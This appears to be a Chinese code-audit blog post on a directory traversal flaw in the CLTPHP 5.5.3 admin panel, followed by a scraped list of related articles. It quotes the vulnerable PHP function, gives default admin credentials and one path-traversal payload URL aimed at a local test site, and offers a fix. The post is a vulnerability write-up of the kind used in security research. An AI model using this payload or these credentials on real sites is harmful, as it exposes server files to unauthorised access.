【代码审计】CLTPHP_v5.5.3后台目录遍历漏洞分析
0x00 环境准备
CLTPHP官网:http://www.cltphp.com
网站源码版本:CLTPHP内容管理系统5.5.3版本
程序源码下载:https://gitee.com/chichu/cltphp
默认后台地址: http://127.0.0.1/admin/login/index.html
默认账号密码: 后台登录名:admin 密码:admin123
测试网站首页:
0x01 代码分析
1、/app/admin/controller/Template.php 第135-168行:
2、public function images(){
3、 $path = $this->publicpath.'images/'.input('folder').'/';
4、 $uppath = explode('/',input('folder'));
5、 $leve = count($uppath)-1;
6、 unset($uppath[$leve]);
7、 if($leve>1){
8、 unset($uppath[$leve-1]);
9、 $uppath = implode('/',$uppath).'/';
10、 }else{
11、 $uppath = '';
12、 }
13、 $this->assign ( 'leve',$leve);
14、 $this->assign ( 'uppath',$uppath);
15、 $files = glob($path.'*');
16、 $folders=array();
17、 foreach($files as $key => $file) {
18、 $filename = basename($file);
19、 if(is_dir($file)){
20、 $folders[$key]['filename'] = $filename;
21、 $folders[$key]['filepath'] = $file;
22、 $folders[$key]['ext'] = 'folder';
23、 }else{
24、 $templates[$key]['filename'] = $filename;
25、 $templates[$key]['filepath'] = $file;
26、 $templates[$key]['ext'] = strtolower(substr($filename,strrpos($filename, '.')-strlen($filename)+1));
27、 if(!in_array($templates[$key]['ext'],array('gif','jpg','png','bmp'))) $templates[$key]['ico'] =1;
28、 }
29、 }
30、 $this->assign ( 'title','媒体文件' );
31、 $this->assign ( 'path',$path);
32、 $this->assign ( 'folders',$folders );
33、 $this->assign ( 'files',$templates );
34、 return $this->fetch();
35、 }
在这段函数中,参数folder未进行任何有效过滤,获取目录下的文件信息,导致程序在实现上存在目录遍历漏洞,攻击者可利用该漏洞获取敏感信息。
0x02 漏洞利用
1、登录后台,构造url,获取网站目录结构。
获取网站根目录Payload:
http://127.0.0.1/admin/Template/images.html?folder=slideshow/../../../../../
0x03 修复建议
1、正则判断用户输入的参数的格式,看输入的格式是否合法:这个方法的匹配最为准确和细致,但是有很大难度,需要大量时间配置规则。
最后
欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。
【代码审计】CLTPHP_v5.5.3后台目录遍历漏洞分析相关推荐
- 【代码审计】CLTPHP_v5.5.3后台任意文件下载漏洞分析
0x00 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chich ...
- 目录浏览(目录遍历)漏洞和任意文件读取/下载漏洞
目录 目录浏览(目录遍历)漏洞 任意文件读取/下载漏洞 目录浏览(目录遍历)漏洞 目录浏览漏洞是由于网站存在配置缺陷,导致网站目录可以被任意浏览,这会导致网站很多隐私文件与目录泄露,比如数据库备份文件 ...
- 目录遍历漏洞和任意文件下载漏洞
目录浏览(目录遍历)漏洞 目录浏览漏洞是由于网站存在配置缺陷,导致网站目录可以被任意浏览,这会导致网站很多隐私文件与目录泄露,比如数据库备份文件.配置文件等,攻击者利用该信息可以为进一步入侵网站做准备 ...
- 目录遍历漏洞:入侵检测php程序中的目录遍历漏洞,目录浏览(目录遍历)漏洞
目录浏览(目录遍历)漏洞 来源:信管网 2019年08月26日 [所有评论] 目录浏览漏洞属于目录遍历漏洞的一种 目录浏览(目录遍历)漏洞 目录浏览漏洞是由于网站存在配置缺陷,导致网站目录可以被任意浏 ...
- php目录遍历漏洞复现,nginx解析漏洞,配置不当,目录遍历漏洞环境搭建、漏洞复现...
nginx解析漏洞,配置不当,目录遍历漏洞复现 1.Ubuntu14.04安装nginx-php5-fpm 安装了nginx,需要安装以下依赖 sudo apt-get install libpcre ...
- web漏洞-SQL注入漏洞、目录遍历漏洞、文件下载漏洞
这里用到的是Pikachu漏洞练习平台 一.SQL注入漏洞-数字型注入 SQL注入漏洞简介 在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库 ...
- ewebeditor漏洞之目录遍历漏洞
这里大概说一下!目录遍历漏洞基本存在于ewebeditor/admin_uploadfile.asp 高版本的是ewebeditor/admin/upload.asp 文件!这个文件有的不需要登陆验证 ...
- Web安全 目录遍历漏洞(带你畅读 服务器中的机密文件.)
目录遍历漏洞概括: 在web功能设计中,很多时候我们会要将需要访问的文件定义成变量,从而让前端的功能便的更加灵活. 当用户发起一个前端的请求时,便会将请求的这个文件的值(比如文件名称)传递到后台,后台 ...
- 【网络安全】WEB漏洞 pickchu靶场搭建:实例演示sql数字注入、目录遍历漏洞、文件下载漏洞
WEB漏洞01 CTE,SRc,红蓝对抗,实战等#简要说明以上漏洞危害情况 #简要说明以上漏洞等级划分 #简要说明以上漏洞重点内容 #简要说明以上漏洞形势问题 靶场搭建:https://github. ...
最新文章
- 51单片机实现对24C02进行页写、顺序读取并显示验证
- jquery之empty()与remove([expr])区别
- 常见 Serverless 架构模式
- 使用 cout 输出数据之控制输出格式(二)
- iOS 开发中需要注意的小地方
- win10虚拟机dhcp服务器设置,win10 dhcp服务器设置方法
- 让Salesforce用户管理变得更加容易的几种最佳实践
- C盘空间太小,建议删除如下文件以释放空间!
- 使用fseek()函数随机访问文件
- python面向对象三大特性_python面向对象的三大特性
- Android 输入法问题 解决三星s5830i或华为低端机输入法崩溃问题
- Vue中 keep-alive 详解
- 论山寨手机与Android 【6】MTK手机的基带芯片
- 《当时只道是寻常》——安意如——品纳兰容若《饮水词》
- idea2020.1.1 窗口显示 Outdated version. 完美解决
- 连接微信运动服务器忙,为啥微信运动突然不计步了(只需一招问题立马解决)...
- 新型工业路由器,为进入智能工业时代加快步伐
- 向图档插入外部DWG图片 auto CAD .NET二次开发
- 女生学Java好学吗?适合学习吗?
- 若A、B都是n阶正交阵,那么,A X B是正交阵吗?